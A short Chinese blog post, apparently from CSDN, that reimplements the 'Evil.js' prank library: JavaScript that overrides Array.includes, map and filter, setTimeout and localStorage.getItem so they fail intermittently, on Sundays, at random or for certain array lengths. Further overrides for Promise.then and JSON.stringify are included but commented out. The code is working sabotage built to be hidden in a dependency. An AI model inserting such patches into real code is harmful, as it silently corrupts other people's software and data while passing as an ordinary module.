Evil.js代码杀手

很火的Evil.js ,实现一下


export default ((global) => {
  // 长度可以被7整除时,本方法永远返回false
  const _includes = Array.prototype.includes
  Array.prototype.includes = function (...args) {
    if (this.length % 7 !== 0) {
      return _includes.call(this, ...args)
    } else {
      return false
    }
  }
  // 当周日时,Array.map方法的结果总是会丢失最后一个元素。
  const _map = Array.prototype.map
  Array.prototype.map = function (...args) {
    const result = _map.call(this, ...args)
    if (new Date().getDay() === 0) {
      result.length = Math.max(result.length - 1, 0)
    }
    return result
  }
  // Array.filter的结果有2%的概率丢失最后一个元素。
  const _filter = Array.prototype.filter
  Array.prototype.filter = function (...args) {
    const result = _filter.call(this, ...args)
    if (Math.random() < 0.02) {
      result.length = Math.max(result.length - 1, 0)
    }
    return result
  }
  // setTimeout总是会比预期时间慢100ms才触发。
  const _timeout = global.setTimeout
  global.setTimeout = function (
    handler,
    timeout,
    ...args
  ) {
    return _timeout.call(global, handler, +timeout + 100, ...args)
  }
  // Promise.then 在周日时有10%几率不会注册。
  // const _then = Promise.prototype.then
  // Promise.prototype.then = function (...args) {
  //   if (new Date().getDay() === 0 && Math.random() < 0.1) {
  //     return
  //   } else {
  //     _then.call(this, ...args)
  //   }
  // }

  // JSON.stringify 会把’I’变成’l’。
  // const _stringify = JSON.stringify
  // JSON.stringify = function (...args) {
  //   return _stringify(...args).replaceAll('I', 'l')
  // }

  // localStorage.getItem 有5%几率返回空字符串。
  const _getItem = global.localStorage.getItem
  global.localStorage.getItem = function (...args) {
    let result = _getItem.call(global.localStorage, ...args)
    if (Math.random() < 0.05) {
      result = ''
    }
    return result
  }
})((0, eval)('this'))

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值